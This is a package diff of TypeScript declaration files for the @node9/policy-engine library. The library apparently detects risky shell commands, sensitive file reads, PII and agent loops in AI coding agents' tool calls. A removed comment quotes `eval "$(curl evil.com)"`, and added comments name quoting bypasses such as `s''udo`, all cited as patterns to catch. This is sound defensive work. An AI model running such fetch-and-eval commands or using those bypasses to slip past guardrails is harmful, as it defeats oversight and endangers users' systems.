@node9/policy-engine 1.4.0 → 1.26.3

package/dist/index.d.mts

@@ -133,20 +133,6 @@ declare function redactText(text: string): {
     found: string[];
 };
 
-/**
- * Normalizes a bash command string for policy rule matching by replacing
- * pure-literal quoted strings that follow known message flags (e.g. -m, --body)
- * with empty double-quotes. This prevents text inside commit messages and PR
- * descriptions from triggering shell security rules.
- *
- * Unlike a regex-based approach, this uses the AST so it handles all quoting
- * styles correctly and won't over-strip. Execution flags like -c and -e
- * (psql, node, python) are intentionally left alone so their SQL/code
- * content continues to be evaluated by smart rules.
- *
- * Dynamic content (CmdSubst, ParamExp) inside double-quotes is never stripped
- * so patterns like `eval "$(curl evil.com)"` are always preserved.
- */
 declare function normalizeCommandForPolicy(command: string): string;
 /**
  * AST-based detection of dangerous shell execution patterns.
@@ -164,6 +150,22 @@ declare function normalizeCommandForPolicy(command: string): string;
 declare function detectDangerousShellExec(command: string): 'block' | 'review' | null;
 /** @deprecated Use detectDangerousShellExec — kept for backwards compatibility */
 declare const detectDangerousEval: typeof detectDangerousShellExec;
+interface FsOpVerdict {
+    ruleName: string;
+    verdict: 'block' | 'review';
+    reason: string;
+    /** The actual path argument from the user's command — for explainability. */
+    path: string;
+}
+declare const BASH_TOOL_NAMES: Set<string>;
+declare function isBashTool(toolName: string): boolean;
+declare const AST_FS_REGEX_RULES: Set<string>;
+/**
+ * True when `path` is under $HOME (~ or absolute /home/* or /root) AND not in
+ * the tool-managed cache allow-list. Used to gate `rm -rf` on home paths.
+ */
+declare function isProtectedHomePath(rawPath: string): boolean;
+declare function analyzeFsOperation(command: string): FsOpVerdict | null;
 interface ShellCommandAnalysis {
     /** First word of every CallExpr — the command names invoked. */
     actions: string[];
@@ -731,7 +733,216 @@ declare function summarizeBlast(result: BlastResult, opts?: {
     topN?: number;
 }): BlastSummary;
 
+/**
+ * Destructive-op regex. Word-boundary anchored so partial matches don't
+ * fire (e.g. "term" inside "terminate" wouldn't match `\brm\b`). Each
+ * pattern is independently provable as destructive — no fuzzy heuristics.
+ */
+declare const DESTRUCTIVE_OP_RE: RegExp;
+/**
+ * Historical privilege-escalation regex. **No longer used by the canonical
+ * detector** — scan/canonical.ts moved sudo/su, chmod, and chown all to
+ * AST tokenization (analyzeShellCommand actions + allTokens) so:
+ *   - Quoting bypasses (`s''udo`, `c\hmod`) don't slip past the matcher.
+ *   - String literals like `echo "chmod 777 done"` or `cat /etc/sudoers`
+ *     stop firing false positives — those don't put the action name in
+ *     `actions`, only in `allTokens` (a Lit, not a CallExpr first-word).
+ *
+ * Kept as a public export for non-AST consumers that grep raw command
+ * strings (smart-rule conditions that match on the literal command text)
+ * and as documentation of the historical pattern set. Removing it would
+ * be a breaking change for downstream package consumers.
+ */
+declare const PRIVILEGE_ESCALATION_RE: RegExp;
+/**
+ * Sensitive file paths the agent shouldn't be reading via tool calls.
+ * Mirrors the blast walker's path set — same files matter, here detected
+ * at tool-call-time rather than fs-walk-time.
+ *
+ * `\b` boundaries on names so substring noise doesn't trigger; the
+ * patterns assume the proxy normalises ~ in inputs (which it does
+ * via path expansion before we see them).
+ */
+declare const SENSITIVE_PATH_RE: RegExp;
+/**
+ * Tool names that read or grep file contents. Used to gate SENSITIVE_PATH_RE
+ * to file-reading tools so the same path appearing in a Bash command doesn't
+ * double-count against a Read of the same file.
+ */
+declare const FILE_TOOLS: Set<string>;
+
+type PiiPattern = 'Email' | 'SSN' | 'Phone' | 'Credit Card';
+/**
+ * Detect PII patterns in a string. Returns a deduplicated list — one entry
+ * per distinct pattern type, never multiple "Email" findings from one input.
+ */
+declare function detectPii(text: string): PiiPattern[];
+
+type CanonicalFindingType = 'smart-rule' | 'ast-fs-op' | 'dlp' | 'pii' | 'sensitive-file-read' | 'privilege-escalation' | 'destructive-op' | 'pipe-to-shell' | 'eval-of-remote' | 'loop' | 'long-output-redacted';
+type CanonicalAgent = 'claude' | 'gemini' | 'codex' | 'shell';
+type CanonicalSourceType = 'default' | 'shield' | 'user' | 'engine';
+interface CanonicalFinding {
+    /** Discriminator. Maps 1:1 to ScanFinding.type for the SaaS upload. */
+    type: CanonicalFindingType;
+    /**
+     * Stable rule identifier. For type='smart-rule' / 'ast-fs-op' it's the
+     * rule name (e.g. 'block-rm-rf-home', 'shield:project-jail:block-read-ssh').
+     * For built-in detector findings (PII, DLP, regex), a synthetic name keyed
+     * on the detector + pattern (e.g. 'pii:email', 'dlp:GitHub Token').
+     */
+    ruleName: string;
+    /** Block or review. Findings only exist for fired rules — no allow/info. */
+    verdict: 'block' | 'review';
+    /** Severity tier. Single source of truth — produced once at the engine. */
+    severity: Severity;
+    /** Engine-generated reason. Never carries user PII or raw secrets. */
+    reason: string;
+    /** Pattern name for DLP/PII (e.g. 'GitHub Token', 'Email'). */
+    patternName?: string;
+    /** Tool that produced the call. */
+    toolName: string;
+    agent: CanonicalAgent;
+    sessionId: string;
+    /** Project label or working directory the session lives in. */
+    project: string;
+    /** Local JSONL line offset. Never exfiltrated; used for dedupe. */
+    lineIndex: number;
+    /** Where the rule came from. 'engine' for built-in detectors. */
+    sourceType: CanonicalSourceType;
+    /** Optional shield/source label for UI. */
+    shieldLabel?: string;
+    /** When this exact (post-dedupe) finding was first / last seen. */
+    firstSeenAt: string;
+    lastSeenAt: string;
+    /** Post-dedupe match count. 1 by default, N for N collapsed raw matches. */
+    occurrenceCount: number;
+    /** AST findings: the path that triggered the verdict. */
+    subjectPath?: string;
+    /** Loop findings: dollar cost so far. Loop-only today; optional everywhere. */
+    costUsd?: number;
+    /** Loop findings: number of iterations. */
+    loopCount?: number;
+    loopKind?: 'loop' | 'long-iteration';
+    /** Loop findings: a sanitized command preview for UI. */
+    commandPreview?: string;
+    /** Raw tool input. Local CLI render only. */
+    input?: Record<string, unknown>;
+    /** DLP UI: first/last chars of the matched value with the middle replaced. */
+    redactedSample?: string;
+}
+/**
+ * Normalized per-call entry the per-line extractor consumes. Hosts (CLI
+ * scan, daemon, backfill) parse agent-specific JSONL into this shape so
+ * extractCanonicalFindings doesn't have to know about Claude vs Gemini vs
+ * Codex line layouts.
+ */
+interface ToolCallEntry {
+    toolName: string;
+    args: Record<string, unknown>;
+    timestamp: string;
+    /** Bytes of tool result content for long-output detection. 0 / undefined
+     *  for non-result entries. */
+    outputBytes?: number;
+}
+interface ExtractContext {
+    sessionId: string;
+    lineIndex: number;
+    project: string;
+    agent: CanonicalAgent;
+    rules: ReadonlyArray<{
+        rule: SmartRule;
+        sourceType: CanonicalSourceType;
+        shieldLabel?: string;
+    }>;
+    /** toolInspection map from PolicyConfig — drives shell-command extraction
+     *  for tools that aren't the standard 'bash' name. Defaults handled by caller. */
+    toolInspection: Record<string, string>;
+    /** DLP enabled flag from PolicyConfig. */
+    dlpEnabled: boolean;
+}
+interface SessionExtractContext {
+    sessionId: string;
+    project: string;
+    agent: CanonicalAgent;
+    /**
+     * Loop-detection window settings. Mirrors PolicyConfig.policy.loopDetection.
+     *
+     * `windowSeconds: 0` means "no window" — count all matching calls in the
+     * session regardless of timing. This is the right setting for historical
+     * backfill (--upload-history): an agent that hammered the same Edit on
+     * the same file 126 times across hours is the loop pattern users care
+     * about, but a 120s window would never fire on it. The live hook keeps
+     * the small window because it's racing against an actively running agent.
+     */
+    loopDetection: {
+        enabled: boolean;
+        threshold: number;
+        windowSeconds: number;
+    };
+}
+interface SessionToolCall extends ToolCallEntry {
+    /** Local JSONL line where this call lived — propagates to the loop finding. */
+    lineIndex: number;
+}
+declare const LONG_OUTPUT_THRESHOLD_BYTES: number;
+/**
+ * Wire-format identity of the canonical detector pipeline. Bumped when
+ * extractCanonicalFindings (and friends) change their output in a way
+ * that would invalidate verdicts already recorded against the previous
+ * version. The daemon stores this in ~/.node9/scan-watermark.json and
+ * triggers a one-time re-scan when its persisted value falls behind.
+ *
+ * Bump it when:
+ *   - adding/removing a CanonicalFindingType
+ *   - changing severity classification for an existing type
+ *   - changing dedupe keys (would silently re-bucket existing findings)
+ *   - any semantic change to the detectors that affects emitted counts
+ *
+ * Don't bump for:
+ *   - comment-only edits
+ *   - jsdoc tweaks
+ *   - refactors that demonstrably preserve output
+ *
+ * scripts/check-extractor-version.mjs hashes the detector source files
+ * and fails CI when the hash drifts without a version bump — forgetting
+ * is loud, not silent.
+ */
+declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v4";
+/**
+ * SHA-256 prefix of the detector-source files
+ * (canonical.ts + pii.ts + destructive-regex.ts).
+ *
+ * Updated by `npm run bump-extractor-version`. The CI gate in
+ * `.github/workflows/ci.yml` recomputes the hash on every push and fails
+ * if it doesn't match this constant — the contract is "if any of those
+ * files changed, this hash must change too, and you must consciously
+ * decide whether to bump CANONICAL_EXTRACTOR_VERSION."
+ */
+declare const CANONICAL_EXTRACTOR_HASH = "64a6a63a27f4646f";
+declare function extractCanonicalFindings(call: ToolCallEntry, ctx: ExtractContext): CanonicalFinding[];
+declare function extractSessionLevelFindings(calls: ReadonlyArray<SessionToolCall>, ctx: SessionExtractContext): CanonicalFinding[];
+/**
+ * Collapse equivalent findings into one row, summing occurrenceCount and
+ * spreading firstSeenAt / lastSeenAt across the matches. Dedupe key is
+ * (type, ruleName, command-preview, project, agent) — same shape scan.ts
+ * uses today (line 502), with `agent` added so cross-agent matches stay
+ * separated for the dashboard's per-agent breakdown.
+ */
+declare function dedupeCanonicalFindings(findings: ReadonlyArray<CanonicalFinding>): CanonicalFinding[];
+/**
+ * Project a CanonicalFinding into the privacy-safe ScanFinding shape the
+ * proxy sends to the SaaS. Drops `input`, `redactedSample`, `commandPreview`,
+ * `subjectPath` — anything that could carry user content. Counts and pattern
+ * names only, matching the privacy invariant in scan/index.ts.
+ *
+ * Returns null if the type doesn't have a corresponding ScanFinding bucket
+ * (currently `smart-rule` and `ast-fs-op` — those carry a user-defined or
+ * shield rule name and aren't part of the count-based summary).
+ */
+declare function toScanFinding(c: CanonicalFinding): ScanFinding | null;
+declare function previewArgs(input: Record<string, unknown>, max: number): string;
+
 /** Engine version stamped on audit entries for future drift detection. */
 declare const ENGINE_VERSION = "1.4.0";
 
-export { type AuditEntryForClassify, BUILTIN_SHIELDS, type BlastEnvFinding, type BlastFinding, type BlastResult, type BlastSummary, COST_PER_LOOP_ITER_USD, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, FLAGS_WITH_VALUES, LOOP_MAX_RECORDS, LOOP_THRESHOLD_FOR_WASTE, type LoopWindowEvaluation, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SCAN_SIGNAL_WEIGHTS, SENSITIVE_PATH_REGEXES, type ScanFinding, type ScanSignals, type ScanSummary, type ScoreTier, type Severity, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallRecord, analyzePipeChain, analyzeShellCommand, checkDangerousSql, classifyAuditEntry, classifyRuleSeverity, classifyScanSignal, computeArgsHash, computeBlendedSecurityScore, computeScanScore, computeSecurityScore, detectDangerousEval, detectDangerousShellExec, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractNetworkTargets, extractPositionalArgs, getCompiledRegex, getNestedValue, isIgnoredTool, isShieldVerdict, matchSensitivePath, matchesPattern, narrativeRuleLabel, normalizeCommandForPolicy, parseAllSshHostsFromCommand, redactText, scanArgs, scanText, sensitivePathMatch, summarizeBlast, summarizeScan, truncateBlastPath, validateOverrides, validateRegex, validateShieldDefinition };
+export { AST_FS_REGEX_RULES, type AuditEntryForClassify, BASH_TOOL_NAMES, BUILTIN_SHIELDS, type BlastEnvFinding, type BlastFinding, type BlastResult, type BlastSummary, CANONICAL_EXTRACTOR_HASH, CANONICAL_EXTRACTOR_VERSION, COST_PER_LOOP_ITER_USD, type CanonicalAgent, type CanonicalFinding, type CanonicalFindingType, type CanonicalSourceType, DESTRUCTIVE_OP_RE, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, type ExtractContext, FILE_TOOLS, FLAGS_WITH_VALUES, type FsOpVerdict, LONG_OUTPUT_THRESHOLD_BYTES, LOOP_MAX_RECORDS, LOOP_THRESHOLD_FOR_WASTE, type LoopWindowEvaluation, PRIVILEGE_ESCALATION_RE, type PiiPattern, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SCAN_SIGNAL_WEIGHTS, SENSITIVE_PATH_RE, SENSITIVE_PATH_REGEXES, type ScanFinding, type ScanSignals, type ScanSummary, type ScoreTier, type SessionExtractContext, type SessionToolCall, type Severity, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallEntry, type ToolCallRecord, analyzeFsOperation, analyzePipeChain, analyzeShellCommand, checkDangerousSql, classifyAuditEntry, classifyRuleSeverity, classifyScanSignal, computeArgsHash, computeBlendedSecurityScore, computeScanScore, computeSecurityScore, dedupeCanonicalFindings, detectDangerousEval, detectDangerousShellExec, detectPii, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractCanonicalFindings, extractNetworkTargets, extractPositionalArgs, extractSessionLevelFindings, getCompiledRegex, getNestedValue, isBashTool, isIgnoredTool, isProtectedHomePath, isShieldVerdict, matchSensitivePath, matchesPattern, narrativeRuleLabel, normalizeCommandForPolicy, parseAllSshHostsFromCommand, previewArgs, redactText, scanArgs, scanText, sensitivePathMatch, summarizeBlast, summarizeScan, toScanFinding, truncateBlastPath, validateOverrides, validateRegex, validateShieldDefinition };

package/dist/index.d.ts

@@ -133,20 +133,6 @@ declare function redactText(text: string): {
     found: string[];
 };
 
-/**
- * Normalizes a bash command string for policy rule matching by replacing
- * pure-literal quoted strings that follow known message flags (e.g. -m, --body)
- * with empty double-quotes. This prevents text inside commit messages and PR
- * descriptions from triggering shell security rules.
- *
- * Unlike a regex-based approach, this uses the AST so it handles all quoting
- * styles correctly and won't over-strip. Execution flags like -c and -e
- * (psql, node, python) are intentionally left alone so their SQL/code
- * content continues to be evaluated by smart rules.
- *
- * Dynamic content (CmdSubst, ParamExp) inside double-quotes is never stripped
- * so patterns like `eval "$(curl evil.com)"` are always preserved.
- */
 declare function normalizeCommandForPolicy(command: string): string;
 /**
  * AST-based detection of dangerous shell execution patterns.
@@ -164,6 +150,22 @@ declare function normalizeCommandForPolicy(command: string): string;
 declare function detectDangerousShellExec(command: string): 'block' | 'review' | null;
 /** @deprecated Use detectDangerousShellExec — kept for backwards compatibility */
 declare const detectDangerousEval: typeof detectDangerousShellExec;
+interface FsOpVerdict {
+    ruleName: string;
+    verdict: 'block' | 'review';
+    reason: string;
+    /** The actual path argument from the user's command — for explainability. */
+    path: string;
+}
+declare const BASH_TOOL_NAMES: Set<string>;
+declare function isBashTool(toolName: string): boolean;
+declare const AST_FS_REGEX_RULES: Set<string>;
+/**
+ * True when `path` is under $HOME (~ or absolute /home/* or /root) AND not in
+ * the tool-managed cache allow-list. Used to gate `rm -rf` on home paths.
+ */
+declare function isProtectedHomePath(rawPath: string): boolean;
+declare function analyzeFsOperation(command: string): FsOpVerdict | null;
 interface ShellCommandAnalysis {
     /** First word of every CallExpr — the command names invoked. */
     actions: string[];
@@ -731,7 +733,216 @@ declare function summarizeBlast(result: BlastResult, opts?: {
     topN?: number;
 }): BlastSummary;
 
+/**
+ * Destructive-op regex. Word-boundary anchored so partial matches don't
+ * fire (e.g. "term" inside "terminate" wouldn't match `\brm\b`). Each
+ * pattern is independently provable as destructive — no fuzzy heuristics.
+ */
+declare const DESTRUCTIVE_OP_RE: RegExp;
+/**
+ * Historical privilege-escalation regex. **No longer used by the canonical
+ * detector** — scan/canonical.ts moved sudo/su, chmod, and chown all to
+ * AST tokenization (analyzeShellCommand actions + allTokens) so:
+ *   - Quoting bypasses (`s''udo`, `c\hmod`) don't slip past the matcher.
+ *   - String literals like `echo "chmod 777 done"` or `cat /etc/sudoers`
+ *     stop firing false positives — those don't put the action name in
+ *     `actions`, only in `allTokens` (a Lit, not a CallExpr first-word).
+ *
+ * Kept as a public export for non-AST consumers that grep raw command
+ * strings (smart-rule conditions that match on the literal command text)
+ * and as documentation of the historical pattern set. Removing it would
+ * be a breaking change for downstream package consumers.
+ */
+declare const PRIVILEGE_ESCALATION_RE: RegExp;
+/**
+ * Sensitive file paths the agent shouldn't be reading via tool calls.
+ * Mirrors the blast walker's path set — same files matter, here detected
+ * at tool-call-time rather than fs-walk-time.
+ *
+ * `\b` boundaries on names so substring noise doesn't trigger; the
+ * patterns assume the proxy normalises ~ in inputs (which it does
+ * via path expansion before we see them).
+ */
+declare const SENSITIVE_PATH_RE: RegExp;
+/**
+ * Tool names that read or grep file contents. Used to gate SENSITIVE_PATH_RE
+ * to file-reading tools so the same path appearing in a Bash command doesn't
+ * double-count against a Read of the same file.
+ */
+declare const FILE_TOOLS: Set<string>;
+
+type PiiPattern = 'Email' | 'SSN' | 'Phone' | 'Credit Card';
+/**
+ * Detect PII patterns in a string. Returns a deduplicated list — one entry
+ * per distinct pattern type, never multiple "Email" findings from one input.
+ */
+declare function detectPii(text: string): PiiPattern[];
+
+type CanonicalFindingType = 'smart-rule' | 'ast-fs-op' | 'dlp' | 'pii' | 'sensitive-file-read' | 'privilege-escalation' | 'destructive-op' | 'pipe-to-shell' | 'eval-of-remote' | 'loop' | 'long-output-redacted';
+type CanonicalAgent = 'claude' | 'gemini' | 'codex' | 'shell';
+type CanonicalSourceType = 'default' | 'shield' | 'user' | 'engine';
+interface CanonicalFinding {
+    /** Discriminator. Maps 1:1 to ScanFinding.type for the SaaS upload. */
+    type: CanonicalFindingType;
+    /**
+     * Stable rule identifier. For type='smart-rule' / 'ast-fs-op' it's the
+     * rule name (e.g. 'block-rm-rf-home', 'shield:project-jail:block-read-ssh').
+     * For built-in detector findings (PII, DLP, regex), a synthetic name keyed
+     * on the detector + pattern (e.g. 'pii:email', 'dlp:GitHub Token').
+     */
+    ruleName: string;
+    /** Block or review. Findings only exist for fired rules — no allow/info. */
+    verdict: 'block' | 'review';
+    /** Severity tier. Single source of truth — produced once at the engine. */
+    severity: Severity;
+    /** Engine-generated reason. Never carries user PII or raw secrets. */
+    reason: string;
+    /** Pattern name for DLP/PII (e.g. 'GitHub Token', 'Email'). */
+    patternName?: string;
+    /** Tool that produced the call. */
+    toolName: string;
+    agent: CanonicalAgent;
+    sessionId: string;
+    /** Project label or working directory the session lives in. */
+    project: string;
+    /** Local JSONL line offset. Never exfiltrated; used for dedupe. */
+    lineIndex: number;
+    /** Where the rule came from. 'engine' for built-in detectors. */
+    sourceType: CanonicalSourceType;
+    /** Optional shield/source label for UI. */
+    shieldLabel?: string;
+    /** When this exact (post-dedupe) finding was first / last seen. */
+    firstSeenAt: string;
+    lastSeenAt: string;
+    /** Post-dedupe match count. 1 by default, N for N collapsed raw matches. */
+    occurrenceCount: number;
+    /** AST findings: the path that triggered the verdict. */
+    subjectPath?: string;
+    /** Loop findings: dollar cost so far. Loop-only today; optional everywhere. */
+    costUsd?: number;
+    /** Loop findings: number of iterations. */
+    loopCount?: number;
+    loopKind?: 'loop' | 'long-iteration';
+    /** Loop findings: a sanitized command preview for UI. */
+    commandPreview?: string;
+    /** Raw tool input. Local CLI render only. */
+    input?: Record<string, unknown>;
+    /** DLP UI: first/last chars of the matched value with the middle replaced. */
+    redactedSample?: string;
+}
+/**
+ * Normalized per-call entry the per-line extractor consumes. Hosts (CLI
+ * scan, daemon, backfill) parse agent-specific JSONL into this shape so
+ * extractCanonicalFindings doesn't have to know about Claude vs Gemini vs
+ * Codex line layouts.
+ */
+interface ToolCallEntry {
+    toolName: string;
+    args: Record<string, unknown>;
+    timestamp: string;
+    /** Bytes of tool result content for long-output detection. 0 / undefined
+     *  for non-result entries. */
+    outputBytes?: number;
+}
+interface ExtractContext {
+    sessionId: string;
+    lineIndex: number;
+    project: string;
+    agent: CanonicalAgent;
+    rules: ReadonlyArray<{
+        rule: SmartRule;
+        sourceType: CanonicalSourceType;
+        shieldLabel?: string;
+    }>;
+    /** toolInspection map from PolicyConfig — drives shell-command extraction
+     *  for tools that aren't the standard 'bash' name. Defaults handled by caller. */
+    toolInspection: Record<string, string>;
+    /** DLP enabled flag from PolicyConfig. */
+    dlpEnabled: boolean;
+}
+interface SessionExtractContext {
+    sessionId: string;
+    project: string;
+    agent: CanonicalAgent;
+    /**
+     * Loop-detection window settings. Mirrors PolicyConfig.policy.loopDetection.
+     *
+     * `windowSeconds: 0` means "no window" — count all matching calls in the
+     * session regardless of timing. This is the right setting for historical
+     * backfill (--upload-history): an agent that hammered the same Edit on
+     * the same file 126 times across hours is the loop pattern users care
+     * about, but a 120s window would never fire on it. The live hook keeps
+     * the small window because it's racing against an actively running agent.
+     */
+    loopDetection: {
+        enabled: boolean;
+        threshold: number;
+        windowSeconds: number;
+    };
+}
+interface SessionToolCall extends ToolCallEntry {
+    /** Local JSONL line where this call lived — propagates to the loop finding. */
+    lineIndex: number;
+}
+declare const LONG_OUTPUT_THRESHOLD_BYTES: number;
+/**
+ * Wire-format identity of the canonical detector pipeline. Bumped when
+ * extractCanonicalFindings (and friends) change their output in a way
+ * that would invalidate verdicts already recorded against the previous
+ * version. The daemon stores this in ~/.node9/scan-watermark.json and
+ * triggers a one-time re-scan when its persisted value falls behind.
+ *
+ * Bump it when:
+ *   - adding/removing a CanonicalFindingType
+ *   - changing severity classification for an existing type
+ *   - changing dedupe keys (would silently re-bucket existing findings)
+ *   - any semantic change to the detectors that affects emitted counts
+ *
+ * Don't bump for:
+ *   - comment-only edits
+ *   - jsdoc tweaks
+ *   - refactors that demonstrably preserve output
+ *
+ * scripts/check-extractor-version.mjs hashes the detector source files
+ * and fails CI when the hash drifts without a version bump — forgetting
+ * is loud, not silent.
+ */
+declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v4";
+/**
+ * SHA-256 prefix of the detector-source files
+ * (canonical.ts + pii.ts + destructive-regex.ts).
+ *
+ * Updated by `npm run bump-extractor-version`. The CI gate in
+ * `.github/workflows/ci.yml` recomputes the hash on every push and fails
+ * if it doesn't match this constant — the contract is "if any of those
+ * files changed, this hash must change too, and you must consciously
+ * decide whether to bump CANONICAL_EXTRACTOR_VERSION."
+ */
+declare const CANONICAL_EXTRACTOR_HASH = "64a6a63a27f4646f";
+declare function extractCanonicalFindings(call: ToolCallEntry, ctx: ExtractContext): CanonicalFinding[];
+declare function extractSessionLevelFindings(calls: ReadonlyArray<SessionToolCall>, ctx: SessionExtractContext): CanonicalFinding[];
+/**
+ * Collapse equivalent findings into one row, summing occurrenceCount and
+ * spreading firstSeenAt / lastSeenAt across the matches. Dedupe key is
+ * (type, ruleName, command-preview, project, agent) — same shape scan.ts
+ * uses today (line 502), with `agent` added so cross-agent matches stay
+ * separated for the dashboard's per-agent breakdown.
+ */
+declare function dedupeCanonicalFindings(findings: ReadonlyArray<CanonicalFinding>): CanonicalFinding[];
+/**
+ * Project a CanonicalFinding into the privacy-safe ScanFinding shape the
+ * proxy sends to the SaaS. Drops `input`, `redactedSample`, `commandPreview`,
+ * `subjectPath` — anything that could carry user content. Counts and pattern
+ * names only, matching the privacy invariant in scan/index.ts.
+ *
+ * Returns null if the type doesn't have a corresponding ScanFinding bucket
+ * (currently `smart-rule` and `ast-fs-op` — those carry a user-defined or
+ * shield rule name and aren't part of the count-based summary).
+ */
+declare function toScanFinding(c: CanonicalFinding): ScanFinding | null;
+declare function previewArgs(input: Record<string, unknown>, max: number): string;
+
 /** Engine version stamped on audit entries for future drift detection. */
 declare const ENGINE_VERSION = "1.4.0";
 
-export { type AuditEntryForClassify, BUILTIN_SHIELDS, type BlastEnvFinding, type BlastFinding, type BlastResult, type BlastSummary, COST_PER_LOOP_ITER_USD, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, FLAGS_WITH_VALUES, LOOP_MAX_RECORDS, LOOP_THRESHOLD_FOR_WASTE, type LoopWindowEvaluation, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SCAN_SIGNAL_WEIGHTS, SENSITIVE_PATH_REGEXES, type ScanFinding, type ScanSignals, type ScanSummary, type ScoreTier, type Severity, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallRecord, analyzePipeChain, analyzeShellCommand, checkDangerousSql, classifyAuditEntry, classifyRuleSeverity, classifyScanSignal, computeArgsHash, computeBlendedSecurityScore, computeScanScore, computeSecurityScore, detectDangerousEval, detectDangerousShellExec, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractNetworkTargets, extractPositionalArgs, getCompiledRegex, getNestedValue, isIgnoredTool, isShieldVerdict, matchSensitivePath, matchesPattern, narrativeRuleLabel, normalizeCommandForPolicy, parseAllSshHostsFromCommand, redactText, scanArgs, scanText, sensitivePathMatch, summarizeBlast, summarizeScan, truncateBlastPath, validateOverrides, validateRegex, validateShieldDefinition };
+export { AST_FS_REGEX_RULES, type AuditEntryForClassify, BASH_TOOL_NAMES, BUILTIN_SHIELDS, type BlastEnvFinding, type BlastFinding, type BlastResult, type BlastSummary, CANONICAL_EXTRACTOR_HASH, CANONICAL_EXTRACTOR_VERSION, COST_PER_LOOP_ITER_USD, type CanonicalAgent, type CanonicalFinding, type CanonicalFindingType, type CanonicalSourceType, DESTRUCTIVE_OP_RE, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, type ExtractContext, FILE_TOOLS, FLAGS_WITH_VALUES, type FsOpVerdict, LONG_OUTPUT_THRESHOLD_BYTES, LOOP_MAX_RECORDS, LOOP_THRESHOLD_FOR_WASTE, type LoopWindowEvaluation, PRIVILEGE_ESCALATION_RE, type PiiPattern, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SCAN_SIGNAL_WEIGHTS, SENSITIVE_PATH_RE, SENSITIVE_PATH_REGEXES, type ScanFinding, type ScanSignals, type ScanSummary, type ScoreTier, type SessionExtractContext, type SessionToolCall, type Severity, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallEntry, type ToolCallRecord, analyzeFsOperation, analyzePipeChain, analyzeShellCommand, checkDangerousSql, classifyAuditEntry, classifyRuleSeverity, classifyScanSignal, computeArgsHash, computeBlendedSecurityScore, computeScanScore, computeSecurityScore, dedupeCanonicalFindings, detectDangerousEval, detectDangerousShellExec, detectPii, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractCanonicalFindings, extractNetworkTargets, extractPositionalArgs, extractSessionLevelFindings, getCompiledRegex, getNestedValue, isBashTool, isIgnoredTool, isProtectedHomePath, isShieldVerdict, matchSensitivePath, matchesPattern, narrativeRuleLabel, normalizeCommandForPolicy, parseAllSshHostsFromCommand, previewArgs, redactText, scanArgs, scanText, sensitivePathMatch, summarizeBlast, summarizeScan, toScanFinding, truncateBlastPath, validateOverrides, validateRegex, validateShieldDefinition };